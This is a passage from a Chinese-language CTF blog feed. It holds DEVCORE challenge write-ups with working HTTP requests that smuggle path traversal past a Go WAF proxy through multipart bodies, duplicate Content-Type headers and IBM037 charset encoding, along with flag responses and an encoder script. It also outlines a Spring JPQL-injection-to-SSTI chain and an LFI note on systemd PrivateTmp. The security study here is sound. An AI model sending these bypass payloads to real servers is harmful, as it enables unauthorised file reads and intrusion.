</code></pre><p>&#x6E2C;&#x8A66;&#x4E00;&#x4E0B;&#x6703;&#x767C;&#x73FE; <code>r.Body</code> &#x884C;&#x70BA;&#x5F88;&#x602A;&#xFF0C;&#x6C92;&#x6709; <code>Content-Length</code> &#x6642;&#x6703;&#x662F;&#x6574;&#x500B; request &#x5167;&#x5BB9;&#xFF0C;&#x6709; <code>Content-Length</code> &#x6642;&#x6703;&#x662F; body &#x5167;&#x5BB9;&#x3002;</p><p>GET &#x8ACB;&#x6C42;&#x6642;&#x4ECD;&#x7136;&#x53EF;&#x4EE5;&#x5E36; <code>Content-Length</code> &#x548C; <code>Content-type</code> &#xFF0C;&#x4E26;&#x4E14;&#x6703;&#x88AB;&#x89E3;&#x6790;&#x6210;&#x529F;</p><p><code>r.MultipartReader</code> &#x6703;&#x89E3;&#x6790; <code>multipart/form-data;</code> &#xFF0C;&#x7FFB;&#x4E86;&#x4E00;&#x4E0B; <code>net/http</code> &#x9084;&#x8AAA;&#x6703;&#x5BEB;&#x89E3;&#x6790; <code>multipart/mixed</code></p><p><code>r.ParseForm</code> &#x6703;&#x89E3;&#x6790; &#xA0;query &#x548C; body&#xFF0C; <code>r.Form</code> &#x6703;&#x53D6; query&#xFF0C;&#x6240;&#x4EE5;&#x5FC5;&#x9808;&#x8D70; <code><code>r.MultipartReader</code></code> &#x90A3;&#x689D;&#x8DEF;</p><pre><code>// ParseForm populates r.Form and r.PostForm.
//
// For all requests, ParseForm parses the raw query from the URL and updates
// r.Form.
//
// For POST, PUT, and PATCH requests, it also reads the request body, parses it
// as a form and puts the results into both r.PostForm and r.Form. Request body
// parameters take precedence over URL query string values in r.Form.
//
// If the request Body&apos;s size has not already been limited by MaxBytesReader,
// the size is capped at 10MB.
//
// For other HTTP methods, or when the Content-Type is not
// application/x-www-form-urlencoded, the request Body is not read, and
// r.PostForm is initialized to a non-nil, empty value.</code></pre><p>payload</p><pre><code>GET /?give=me&amp;the=flag&amp;file=../../../../../../../flag.txt HTTP/1.1
Host: a
Content-Length: 134
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqSZSHGtnOhWX6qtX

------WebKitFormBoundaryqSZSHGtnOhWX6qtX
Content-Disposition: form-data; name=&quot;a&quot;

me
------WebKitFormBoundaryqSZSHGtnOhWX6qtX--</code></pre><p>response</p><pre><code>HTTP/1.1 200 OK
Content-Length: 31
Content-Type: text/html
Date: Sat, 24 Aug 2024 15:00:10 GMT
Set-Cookie: JSESSIONID=E0DEAEFBDFA454B88FBA2B2419264A6E; Path=/; HttpOnly

DEVCORE{4S_1f_7h3rE_i5_n0_WAF}
</code></pre><h2 id="wallrose">Wall..Rose</h2><p>&#x4E0D;&#x77E5;&#x9053;&#x70BA;&#x5565;&#x9019;&#x984C; 0 &#x5206;</p><p>&#x548C;&#x524D;&#x4E00;&#x984C;&#x6BD4;&#xFF0C;&#x53EA;&#x662F; WAF &#x591A;&#x4E86;&#x5075;&#x6E2C; <code>r.URL</code> </p><pre><code>	if hasDotDot(string(bodyData)) || hasDotDot(r.URL.String()){
		return false
	}</code></pre><p>proxy &#x6642; <code>http.NewRequest(r.Method, backendURL+r.RequestURI, r.Body)</code> &#x4F7F;&#x7528;&#x7684;&#x662F; <code>r.RequestURI</code> &#xFF0C;&#x6587;&#x6A94;&#x4E0A;&#x8AAA;&#x6709;&#x4E9B;&#x5DEE;&#x7570;&#xFF0C;&#x6211;&#x6E2C;&#x4E86;&#x4E00;&#x9663;&#x5B50;&#x6C92;&#x770B;&#x5230;&#x6709;&#x5DEE;&#xFF0C;&#x7FFB;&#x5BE6;&#x4F5C;&#x4E5F;&#x6C92;&#x770B;&#x5230;&#x4EC0;&#x9EBC;&#xFF0C;&#x5F8C;&#x4F86;&#x731C;&#x60F3; <code>r.Body</code> &#x884C;&#x70BA;&#x90A3;&#x9EBC;&#x602A;&#xFF0C;&#x6703;&#x4E0D;&#x6703; client request &#x80FD;&#x8986;&#x84CB;&#x4E00;&#x4E9B;&#x8CC7;&#x6599;&#xFF0C;&#x8FFD;&#x4E86;&#x4E00;&#x9663;&#x5B50;&#x90FD;&#x883B;&#x6B63;&#x5E38;&#x7684;</p><p>jsp <code>getParameter</code> &#x53EA;&#x6703;&#x5F9E; query &#x6216;&#x662F; <code>application/x-www-form-urlencoded</code> &#x53D6;&#x5F97;&#xFF0C;&#x4E26;&#x4E0D;&#x6703;&#x5F9E; <code>multipart/form-data</code> &#x53D6;&#x5F97;&#xFF0C;&#x610F;&#x5473;&#x8457; payload &#x5FC5;&#x5B9A;&#x6703;&#x5728; body &#x9577;&#x9019;&#x6A23; <code>file=../../../../../flag.txt</code> &#xFF0C;&#x552F;&#x4E00;&#x80FD;&#x7E5E;&#x904E;&#x7684;&#x65B9;&#x5F0F;&#x662F;&#x6539;&#x8B8A;&#x7DE8;&#x78BC;&#xFF0C;&#x6070;&#x5DE7; Tomcat &#x652F;&#x63F4;&#x5947;&#x602A;&#x7684; charset&#xFF0C;&#x50CF;&#x662F;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2024/08/image.png" class="kg-image" alt loading="lazy" width="1188" height="279" srcset="https://blog.cjis.ooo/content/images/size/w600/2024/08/image.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2024/08/image.png 1000w, https://blog.cjis.ooo/content/images/2024/08/image.png 1188w" sizes="(min-width: 720px) 720px"><figcaption>from https://turn1tup.github.io/2019/04/23/%E5%AF%B9%E8%BF%87WAF%E7%9A%84%E4%B8%80%E4%BA%9B%E8%AE%A4%E7%9F%A5/</figcaption></figure><p><code>ibm037</code> &#x53EF;&#x4EE5;&#x9019;&#x6A23;&#x751F;</p><figure class="kg-card kg-code-card"><pre><code class="language-python3">import urllib
from urllib import parse
s = &quot;give=me&amp;the=flag&amp;file=../../../../../../flag.txt&quot;
r = &quot;&quot;
for kv in s.split(&quot;&amp;&quot;):
    k, v = kv.split(&quot;=&quot;, 2)
    print(k, v)
    r += parse.quote(k.encode(&quot;IBM037&quot;)) + &quot;=&quot; + parse.quote(v.encode(&quot;IBM037&quot;)) + &quot;&amp;&quot;
r = r[:-1]
print(r)
</code></pre><figcaption>&#x5FD8;&#x4E86;&#x5F9E;&#x54EA;&#x6284;&#x7684;</figcaption></figure><blockquote>&#x5404;&#x7A2E;&#x5947;&#x602A;&#x7E5E; WAF<br><a href="https://www.slideshare.net/slideshow/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour/104553423?ref=blog.cjis.ooo">https://www.slideshare.net/slideshow/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour/104553423</a><br>&#x63A8;&#x85A6;&#xFF0C;&#x5F88;&#x5168;&#x9762;&gt; <a href="https://turn1tup.github.io/2019/04/23/%E5%AF%B9%E8%BF%87WAF%E7%9A%84%E4%B8%80%E4%BA%9B%E8%AE%A4%E7%9F%A5/?ref=blog.cjis.ooo">https://turn1tup.github.io/2019/04/23/&#x5BF9;&#x8FC7;WAF&#x7684;&#x4E00;&#x4E9B;&#x8BA4;&#x77E5;/</a><br><a href="https://github.com/kh4sh3i/WAF-Bypass?ref=blog.cjis.ooo">https://github.com/kh4sh3i/WAF-Bypass</a></blockquote><p>&#x5269;&#x4E0B;&#x554F;&#x984C;&#x662F; golang &#x90A3;&#x5C64; parse &#x5F8C;&#x7684; key, value &#x53EA;&#x80FD;&#x6709; ascii &#xFF0C;&#x7D93;&#x904E; <code>ibm037</code> &#x7DE8;&#x78BC;&#x6703;&#x6709;&#x975E; ascii &#x5B57;&#x5143;</p><p>fuzzing &#x4E00;&#x9663;&#x5B50;&#x767C;&#x73FE;&#x5982;&#x679C;&#x6709;&#x91CD;&#x8907;&#x7684; <code>Content-Type</code> &#xFF0C;golang &#x6703;&#x770B;&#x7B2C;&#x4E00;&#x500B;&#xFF0C;&#x4F46;&#x662F; Tomcat &#x6703;&#x770B;&#x7B2C;&#x4E8C;&#x500B;&#xFF0C;&#x4E26;&#x4E14;<code>r.MultipartReader</code> &#x53EF;&#x4EE5;&#x5FCD;&#x53D7; last part &#x5F8C;&#x6709;&#x9AD2;&#x8CC7;&#x6599;&#xFF0C;&#x770B;&#x5BE6;&#x4F5C;&#x597D;&#x50CF;&#x662F; parse &#x6642;&#x9047;&#x5230; <code>--boundary--</code> &#x5C31;&#x56DE;&#x50B3; EOF&#xFF0C;&#x6240;&#x4EE5;&#x80FD;&#x5FFD;&#x7565;&#x5F8C;&#x9762;&#x7684;&#x9AD2;&#x8CC7;&#x6599;</p><blockquote>&#x5176;&#x5BE6;&#x662F; go proxy &#x5BEB;&#x6CD5;&#x53EA;&#x6703;&#x50B3;&#x905E;&#x6700;&#x5F8C;&#x4E00;&#x500B;&#x91CD;&#x8907;&#x7684; header&#xFF0C;&#x4E0D;&#x662F; Tomcat &#x672C;&#x8EAB;&#x7684;&#x89E3;&#x6790;&#x554F;&#x984C;</blockquote><p>&#x6240;&#x4EE5;&#x6700;&#x5F8C; payload &#x9577;&#x9019;&#x6A23;</p><pre><code>POST /?give=me&amp;the=flag HTTP/1.1
Host: a
Content-Length: 114
Content-Type: multipart/form-data; boundary=a;charset=a
Content-Type: application/x-www-form-urlencoded; charset=ibm037

--a
Content-Disposition: form-data; name=&quot;a&quot;

me
--a--
&amp;%86%89%93%85=KKaKKaKKaKKaKKaKKa%86%93%81%87K%A3%A7%A3</code></pre><p>response</p><pre><code>HTTP/1.1 200 OK
Content-Length: 45
Content-Type: text/html
Date: Sat, 24 Aug 2024 15:49:22 GMT
Set-Cookie: JSESSIONID=C0C1B3A8A9C9C76A26CB124E7A8CFDD3; Path=/; HttpOnly

DEVCORE{DM_m3_y0uR_s01ut1oN!_R3a1lY_cUr10us}
</code></pre><p>&#x9019;&#x662F;&#x4E09;&#x5C0F;&#xFF0C;&#x6211;&#x597D;&#x50CF;&#x6709;&#x9EDE;&#x7246;</p><blockquote>&#x984C;&#x5916;&#x8A71;&#xFF0C;&#x56E0;&#x70BA;&#x524D;&#x9663;&#x5B50; &#xA0;im.b &#x5F88;&#x7D05;&#xFF0C;&#x6211;&#x6233;&#x4E86;&#x4E00;&#x500B;&#x5C0F;&#x6642;&#x591A;&#x7684; imb037...</blockquote><h2 id="spring">Spring</h2><p>ginoah &#x7684;&#x8A00;&#x7C21;&#x610F;&#x8CC5;&#x984C;</p><p>&#x984C;&#x76EE;&#x662F; spring boot &#x6709;&#x500B; SQL &#x6CE8;&#x5165;&#xFF0C;&#x4E0D;&#x904E;&#x5728;&#x9019;&#x597D;&#x50CF;&#x662F; <a href="https://docs.oracle.com/cd/E11035_01/kodo41/full/html/ejb3_langref.html?ref=blog.cjis.ooo">JPQL</a> &#xFF0C;&#x8981;&#x80FD; RCE</p><pre><code>@SpringBootApplication
@Controller
public class Application extends SpringBootServletInitializer{

    @PersistenceContext
    private EntityManager entityManager;

    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }

    @GetMapping(&quot;/{route}&quot;)
    public String index(@PathVariable String route, Model model) {
        return entityManager.createQuery(
                String.format(&quot;FROM Pages WHERE route = &apos;%s&apos;&quot;, route), Pages.class)
                .getResultStream()
                .findFirst()
                .orElseThrow(() -&gt; new ResponseStatusException(HttpStatus.NOT_FOUND, &quot;Page not found&quot;))
                .name;
    }
}
</code></pre><p>&#x984C;&#x76EE;&#x5C31;&#x9019;&#x6A23;&#xFF08;&#x8336;</p><p><code>.name</code> &#x56DE;&#x50B3;&#x7684;&#x5B57;&#x4E32;&#x6703;&#x8B8A;&#x6210;&#x641C;&#x5C0B; <code>templates</code> &#x4E0B;&#x7684;&#x6A94;&#x6848;&#xFF0C;&#x731C;&#x6E2C;&#x662F;&#x548C;&#x9019;&#x88CF;&#x7684;&#x8655;&#x7406;&#x6A5F;&#x5236;&#x6709;&#x95DC;</p><p>Java &#x6587;&#x6A94;&#x771F;&#x7684;&#x597D;&#x96E3;&#x627E; Orz</p><p>&#x7136;&#x5F8C;&#x60F3;&#x7761;&#x4E86;QQ</p><p>&#x7AA9;&#x4E0D;&#x77E5;&#x9053;</p><blockquote>Spring &#x56DE;&#x50B3;&#x5B57;&#x4E32;&#x6703;&#x7D93;&#x904E; thymeleaf &#x89E3;&#x6790;&#xFF0C;&#x80FD;&#x505A;&#x5230; LFI/RFI &#x4E4B;&#x985E;&#x7684; SSTI&#xFF0C;HQL/JPQL&#xFF08;&#x5230;&#x5E95;&#x662F;&#x54EA;&#x500B;QAQ&#xFF09;&#x7981;&#x6B62;&#x4F7F;&#x7528; union&#xFF0C;&#x4F46;&#x662F;&#x53EF;&#x4EE5;&#x900F;&#x904E; &#xA0;java constant &#x7E5E;&#x904E;&#xFF0C;&#x6240;&#x4EE5;&#x6D41;&#x7A0B;&#x662F; &#x200C;&#x200C;java<br> 1. &#xA0;java constant &#x7E5E; union&#xFF0C;&#x63A7; return<br>2. &#xA0;&#x7E5E; thymeleaf &#xA0;&#x4FDD;&#x8B77;<br>3. SSTI</blockquote><h2 id="notes-space">Notes Space</h2><p>&#x6C92;&#x7A7A;&#x770B;&#xFF0C;Difficulty: &#x2605;&#x2605;&#x2605;&#x2605;&#x2605;&#x2605;&#x2605; </p><p>&#x9760;&#x5317;&#x600E;&#x9EBC;&#x5F9E;&#x4E94;&#x9846;&#x8B8A;&#x4E03;&#x9846; &#x2605;</p>]]></content:encoded></item><item><title><![CDATA[servicectl PrivateTmp 小記]]></title><description><![CDATA[<p> &#x5728;&#x6253; HTB &#x9776;&#x6A5F; <a href="https://app.hackthebox.com/machines/Zipping?ref=blog.cjis.ooo">Zipping</a> &#xFF0C;&#x984C;&#x76EE;&#x672C;&#x8EAB;&#x662F; mariadb &#x5BEB;&#x6A94;&#x5F8C; LFI&#xFF0C; mariadb &#x9810;&#x8A2D;&#x503C;&#x53EF;&#x4EE5;&#x8B80;&#x5BEB;&#x4EFB;&#x4F55;&#x5730;&#x65B9;&#xFF0C;&#x65BC;&#x662F;&#x6211;&#x4E00;&#x958B;&#x59CB;&#x5BEB;&#x5230; <code>/tmp</code> &#x4E0B;&#xFF0C;&#x4F46;&#x662F;&#x4E00;&#x76F4;&#x7121;&#x6CD5; LFI &#x6210;</p>]]></description><link>https://blog.cjis.ooo/servicectl-privatetmp-note/</link><guid isPermaLink="false">657ab238e1bf08000107cdce</guid><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Thu, 14 Dec 2023 08:40:06 GMT</pubDate><content:encoded><![CDATA[<p> &#x5728;&#x6253; HTB &#x9776;&#x6A5F; <a href="https://app.hackthebox.com/machines/Zipping?ref=blog.cjis.ooo">Zipping</a> &#xFF0C;&#x984C;&#x76EE;&#x672C;&#x8EAB;&#x662F; mariadb &#x5BEB;&#x6A94;&#x5F8C; LFI&#xFF0C; mariadb &#x9810;&#x8A2D;&#x503C;&#x53EF;&#x4EE5;&#x8B80;&#x5BEB;&#x4EFB;&#x4F55;&#x5730;&#x65B9;&#xFF0C;&#x65BC;&#x662F;&#x6211;&#x4E00;&#x958B;&#x59CB;&#x5BEB;&#x5230; <code>/tmp</code> &#x4E0B;&#xFF0C;&#x4F46;&#x662F;&#x4E00;&#x76F4;&#x7121;&#x6CD5; LFI &#x6210;&#x529F;</p><p>&#x5F8C;&#x4F86;&#x5BEB;&#x5230; <code>/var/lib/mysql</code> &#x5F8C;&#x624D;&#x6210;&#x529F; LFI&#xFF0C;&#x5728;&#x62FF;&#x5230; root &#x5F8C;&#x56DE;&#x53BB;&#x770B;&#xFF0C;&#x767C;&#x73FE;&#x6211;&#x78BA;&#x5BE6;&#x6709;&#x6210;&#x529F;&#x5BEB;&#x6A94;&#x5230; <code>/tmp</code> &#xFF0C;&#x4E26;&#x4E14;&#x6211;&#x7528;&#x8DD1; apache2 &#x7684; user &#x76F4;&#x63A5;&#x7528; <code>php</code> &#x57F7;&#x884C;&#x6A94;&#x6848;&#x4E5F;&#x6210;&#x529F;&#xFF0C;&#x4F46;&#x662F;&#x900F;&#x904E; apache2 &#x8DD1;&#x537B;&#x6703;&#x627E;&#x4E0D;&#x5230;&#xFF0C;&#x602A;&#x54C9;&#xFF0C;&#x602A;&#x54C9;</p><p> &#x5728;&#x67E5;&#x4E86;&#x597D;&#x4E00;&#x9663;&#x5B50;&#x7D42;&#x65BC;&#x770B;&#x5230;&#x9019;&#x7BC7; <a href="https://www.programmersought.com/article/99923565044/?ref=blog.cjis.ooo">php-fpm temporary file path problem (Sytemd PrivateTmp pit)</a> &#xFF0C;&#x539F;&#x4F86;&#x662F; systemd &#x53EF;&#x4EE5;&#x8A2D;&#x7F6E; PrivateTmp &#x8B93;&#x6BCF;&#x500B; process &#x6709;&#x7368;&#x7ACB;&#x7684; <code>/tmp</code> &#xFF0C;&#x8B80; <a href="https://github.com/systemd/systemd/blob/47374e06014c5ef7de123607630e2094f3863b81/src/core/namespace.c?ref=blog.cjis.ooo#L2817">source</a> &#x53EF;&#x77E5;&#x5BE6;&#x969B;&#x4F4D;&#x7F6E;&#x6703;&#x662F; <code>/tmp/systemd-private-{SD_ID128_TO_STRING(boot_id)}-{id}-XXXXXX</code> &#xA0;&#x50CF;&#x662F; <code>/tmp/systemd-private-f5c7e8a0d62449b8b0efb31878c2771e-apache2.service-rhS5Q4</code> &#x5176;&#x4E2D; <code>boot_id</code> &#x662F;&#x4EFB;&#x4F55;&#x4EBA;&#x90FD;&#x53EF;&#x8B80;&#x7684; <code>$ cat /proc/sys/kernel/random/boot_id</code> &#xFF0C;&#x958B;&#x6A5F;&#x6703;&#x96A8;&#x6A5F;&#x7522;&#x751F;&#xFF0C; <code>id</code> &#x53EF;&#x9810;&#x6E2C;&#xFF0C;&#x6700;&#x5F8C;&#x9762;&#x7684;&#x96A8;&#x6A5F;&#x5B57;&#x4E32; <code>XXXXXX</code> &#x5247;&#x662F;&#x900F;&#x904E;&#x547C;&#x53EB; <code><a href="https://man7.org/linux/man-pages/man3/mkdtemp.3.html?ref=blog.cjis.ooo">mkdtemp</a></code> &#x7522;&#x751F;&#x3002;</p><p>&#x900F;&#x904E;&#x9019;&#x500B;&#x65B9;&#x6CD5;&#x7522;&#x751F;&#x7684; <code>/tmp</code> &#xA0;&#x5C0D;&#x65BC;&#x5176;&#x4ED6; process &#x770B;&#x5230;&#x7684;&#x6B0A;&#x9650;&#x662F; <code>drwx------ &#xA0;3 root &#xA0; root</code> &#xFF0C;&#x57FA;&#x672C;&#x4E0A;&#x662F;&#x8DD1; <code>systemd</code> &#x7684; user&#xFF0C;&#x6240;&#x4EE5;&#x5728; zipping &#x9019;&#x984C;&#x662F;&#x7E5E;&#x4E0D;&#x904E;&#x53BB;&#x3002;&#x67E5;&#x4E86;&#x4E00;&#x4E0B;&#x770B;&#x5230;&#x9019;&#x7BC7; <a href="https://serverfault.com/questions/786211/access-files-in-system-tmp-directory-when-using-privatetmp?ref=blog.cjis.ooo">Access files in system tmp directory, when using PrivateTmp</a> &#xFF0C;&#x8A2D;&#x8A08;&#x4E0A;&#x4E5F;&#x662F;&#x4E0D;&#x7D66;&#x5171;&#x7528;&#xFF0C;&#x80FD;&#x7E5E;&#x5C31;&#x662F; 0-day &#x4E86;&#x3002;</p><p>&#x4F46;&#x5982;&#x679C;&#x662F;&#x5176;&#x4ED6;&#x5834;&#x666F;&#x4E0B;&#x5462;&#xFF1F;&#x4E0D;&#x5B89;&#x5168;&#x7684; container &#x53EF;&#x80FD;&#x76F4;&#x63A5;&#x7528; root &#x8DD1;&#xFF0C;&#x4E26;&#x4E14;&#x5C0D;&#x65BC; read-only filesystem &#x4F86;&#x8AAA;&#xFF0C; <code>/tmp</code> &#x901A;&#x5E38;&#x4E5F;&#x80FD;&#x5BEB;&#x5165;&#xFF0C;&#x96D6;&#x7136; <code>XXXXXX</code> &#x592A;&#x5927;&#xFF0C;&#x770B; <a href="https://github.com/SurajGupta/r-source/blob/master/src/main/mkdtemp.c?ref=blog.cjis.ooo#L128-L149">source </a>&#x4E0D;&#x78BA;&#x5B9A;&#x80FD;&#x4E0D;&#x80FD;&#x9810;&#x6E2C;&#xFF0C;&#x4F46;&#x662F;&#x4F7F;&#x7528; privateTmp &#x7684; process &#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x8B80; <code>/proc/self/mountinfo</code> &#x7372;&#x5F97;&#x4F4D;&#x7F6E;</p><figure class="kg-card kg-code-card"><pre><code>...
/tmp/systemd-private-f5c7e8a0d62449b8b0efb31878c2771e-apache2.service-rhS5Q4/tmp /tmp rw,relatime shared:273 master:1 - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
490 405 253:0 /var/tmp/systemd-private-f5c7e8a0d62449b8b0efb31878c2771e-apache2.service-rQZ1EI/tmp /var/tmp rw,relatime shared:274 master:1 - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
...</code></pre><figcaption>/proc/self/mountinfo</figcaption></figure><p>&#x4E0D;&#x904E; zipping &#x9019;&#x984C;&#x4E4B;&#x6240;&#x4EE5;&#x6703;&#x5BEB;&#x5230; <code>/tmp</code> &#x800C;&#x4E0D;&#x662F; privatetmp &#x662F;&#x56E0;&#x70BA;&#x900F;&#x904E; <code>mariadb</code> &#x5BEB;&#x6A94;&#xFF0C;&#x56E0;&#x6B64;&#x53EA;&#x6709;&#x7576;&#x5169;&#x500B; process &#x90FD;&#x662F;&#x7528; root &#x8DD1;&#x6642;&#xFF0C;&#x4E00;&#x500B;&#x80FD;&#x5BEB;&#x6A94;&#x4E00;&#x500B;&#x80FD; LFI &#x624D;&#x9700;&#x8981;&#x9019;&#x6A23;&#x641E;&#x3002;</p><p> p.s. &#xA0;docker container <code>boot_id</code> &#x548C; host &#x4E00;&#x6A23;&#xFF0C;&#x4E5F;&#x8A31;&#x80FD;&#x5229;&#x7528;&#xFF1F;</p>]]></content:encoded></item><item><title><![CDATA[2023 HITCON CTF Final]]></title><description><![CDATA[<p>&#x9019;&#x6B21;&#x548C;&#x5927;&#x591A;&#x6C92;&#x898B;&#x904E;&#x7684;&#x5404;&#x5927;&#x5B78;&#x5927;&#x5927;&#x7D44;&#x5718;&#x6253; HITCON CTF&#xFF0C;&#x521D;&#x8CFD;&#x56E0;&#x70BA;&#x524D;&#x9762;&#x7684;&#x4EBA;&#x8DD1;&#x53BB;&#x51FA; Final&#xFF0C;&#x9806;&#x4F4D;&#x8B93;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x9032; Final</p><p>&#x518D;&#x6B21;&#x97AD;&#x5C4D; @asef18766</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/11/image.png" class="kg-image" alt loading="lazy" width="1280" height="960" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/11/image.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/11/image.png 1000w, https://blog.cjis.ooo/content/images/2023/11/image.png 1280w" sizes="(min-width: 720px) 720px"><figcaption>by asef18766</figcaption></figure><p>&#x4F9D;</p>]]></description><link>https://blog.cjis.ooo/hitcon-final/</link><guid isPermaLink="false">6561a7cbe1bf08000107cc01</guid><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Sat, 25 Nov 2023 09:29:07 GMT</pubDate><content:encoded><![CDATA[<p>&#x9019;&#x6B21;&#x548C;&#x5927;&#x591A;&#x6C92;&#x898B;&#x904E;&#x7684;&#x5404;&#x5927;&#x5B78;&#x5927;&#x5927;&#x7D44;&#x5718;&#x6253; HITCON CTF&#xFF0C;&#x521D;&#x8CFD;&#x56E0;&#x70BA;&#x524D;&#x9762;&#x7684;&#x4EBA;&#x8DD1;&#x53BB;&#x51FA; Final&#xFF0C;&#x9806;&#x4F4D;&#x8B93;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x9032; Final</p><p>&#x518D;&#x6B21;&#x97AD;&#x5C4D; @asef18766</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/11/image.png" class="kg-image" alt loading="lazy" width="1280" height="960" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/11/image.png 600w, https://blog.cjis.ooo/content/images/size/w1000/2023/11/image.png 1000w, https://blog.cjis.ooo/content/images/2023/11/image.png 1280w" sizes="(min-width: 720px) 720px"><figcaption>by asef18766</figcaption></figure><p>&#x4F9D;&#x7A00;&#x8A18;&#x5F97;&#x968A;&#x540D;&#x662F;&#x4F86;&#x81EA;&#x5404;&#x500B; Lab &#x7684;&#x7C21;&#x7A31;&#xFF0C;&#x7D93;&#x904E;&#x932F;&#x5E8F;&#x518D;&#x52A0;&#x4E0A; ab &#xFF0C;&#x7136;&#x5F8C;&#x5C31;&#x6C92;&#x4E00;&#x500B;&#x4EBA;&#x6703;&#x5FF5;&#x9019;&#x5768;&#xFF0C;&#x597D;&#x50CF;&#x662F;&#x67D0;&#x500B;&#x751F;&#x7269;&#x6FC0;&#x7D20;&#x7684;&#x6A23;&#x5B50;</p><p>&#x6C7A;&#x8CFD;&#x4E3B;&#x984C;&#x662F; Capture The Fans&#xFF0C;&#x5834;&#x5730;&#x5F88;&#x9177;&#xFF0C;&#x6709;&#x8EBA;&#x6905;&#x548C;&#x61F6;&#x9AA8;&#x982D;&#xFF0C;&#x53EF;&#x60DC;&#x96E2;&#x96FB;&#x6E90;&#x548C;&#x7DB2;&#x8DEF;&#x7DDA;&#x592A;&#x9060;&#x4E0D;&#x597D;&#x7528;&#x3002;&#x4E3B;&#x8FA6;&#x65B9;&#x7ADF;&#x7136;&#x6C92;&#x6709;&#x4EBA;&#x5076;&#x50CF;&#x670D;&#xFF0C;&#x5DEE;&#x8A55;&#x3002;</p><p>More Smoked Leet Chicken &#x6574;&#x968A;&#x6234;&#x96DE;&#x982D;&#xFF0C; Kiwawa &#x6234;&#x5C0F;&#x4E11;&#x7206;&#x70B8;&#x982D;&#xFF0C; respect!@as535364 &#x8AAA;&#x597D;&#x7A7F;&#x5973;&#x88DD;&#x6C92;&#x7A7F;&#xFF0C;wii &#x90FD;&#x9858;&#x610F;&#x63D0;&#x4F9B;&#x4E86;(</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/11/image-3.png" class="kg-image" alt loading="lazy" width="888" height="948" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/11/image-3.png 600w, https://blog.cjis.ooo/content/images/2023/11/image-3.png 888w" sizes="(min-width: 720px) 720px"><figcaption>&#x8D85;&#x597D;&#x770B;&#x7684; badge</figcaption></figure><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2023/11/image-4.png" class="kg-image" alt loading="lazy" width="997" height="938" srcset="https://blog.cjis.ooo/content/images/size/w600/2023/11/image-4.png 600w, https://blog.cjis.ooo/content/images/2023/11/image-4.png 997w" sizes="(min-width: 720px) 720px"><figcaption>&#x5F88;&#x68D2;&#x7684;&#x79AE;&#x7269;&#x5305;</figcaption></figure><p>&#x6211;&#x9019;&#x6B21;&#x5E7E;&#x4E4E;&#x90FD;&#x5728;&#x5F04; PSP &#x90A3;&#x984C;&#xFF0C;&#x984C;&#x76EE;&#x662F;&#x4E00;&#x500B;&#x985E;&#x4F3C; PHP &#x7684;&#x8A9E;&#x8A00; PSP&#x5BEB;&#x6210;&#x7684; note &#x670D;&#x52D9;&#xFF0C;&#x53EF;&#x4EE5;&#x7D66;&#x5076;&#x50CF;&#x52A0;&#x6CB9;&#x6253;&#x6C23;&#x7559;&#x8A00;&#xFF0C;&#x670D;&#x52D9;&#x900F;&#x904E; Node.js &#x5BEB;&#x7684;&#x89E3;&#x6790;&#x5668;&#x4F86;&#x8DD1; PSP&#xFF0C;&#x6240;&#x4EE5;&#x6C92;&#x610F;&#x5916;&#x6703;&#x6709; PSP &#x89E3;&#x6790;&#x6D1E;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x63A7; Node.js &#x90A3;&#x5C64;&#x3002;</p><p>&#x4EE5;&#x6211;&#x4E0A;&#x6B21; EOF A&amp;D &#x7684;&#x7D93;&#x9A57;&#xFF0C;&#x6211;&#x90FD;&#x5728;&#x641E;&#x653B;&#x64CA;&#x6C92;&#x4EBA;&#x5F04; Patch &#x5C0E;&#x81F4;&#x7B2C;&#x4E00;&#x5929;&#x5931;&#x5206;&#x6158;&#x91CD;&#xFF0C;&#x6C92;&#x4EBA;&#x5F04; Patch &#x5C31;&#x4E0D;&#x6703;&#x6709;&#x4EBA;&#x5F04;&#xFF0C;&#x525B;&#x597D;&#x9019;&#x6B21;&#x8CFD;&#x5236;&#x662F;&#x6BCF;&#x8F2A;&#x91CB;&#x51FA;&#x653B;&#x64CA;&#x6D41;&#x91CF;&#xFF0C;&#x653B;&#x64CA;&#x57FA;&#x672C;&#x4E0A;&#x5C31;&#x6284;&#x5225;&#x4EBA;&#x7684;&#x5C31;&#x597D;&#xFF1B;Patch &#x5247;&#x662F;&#x7B2C;&#x4E8C;&#x5929;&#x958B;&#x59CB;&#x624D;&#x6703;&#x6BCF;&#x8F2A;&#x91CB;&#x51FA;&#xFF0C;&#x73FE;&#x5728;&#x5F37;&#x968A;&#x5927;&#x6982;&#x90FD;&#x77E5;&#x9053; Patch &#x6700;&#x7D42;&#x90FD;&#x662F;&#x6DF7;&#x6DC6;&#x57CB;&#x5F8C;&#x9580;&#xFF0C;&#x8B93;&#x5225;&#x4EBA;&#x6284;&#x4E5F;&#x81F3;&#x5C11;&#x9001;&#x4E00;&#x5206;&#x3002;&#x6240;&#x4EE5;&#x9019;&#x6B21;&#x6211;&#x8457;&#x91CD;&#x5728;&#x641E; Patch&#xFF0C;&#x7562;&#x7ADF;&#x9019;&#x984C;&#x8981;&#x7528; PSP 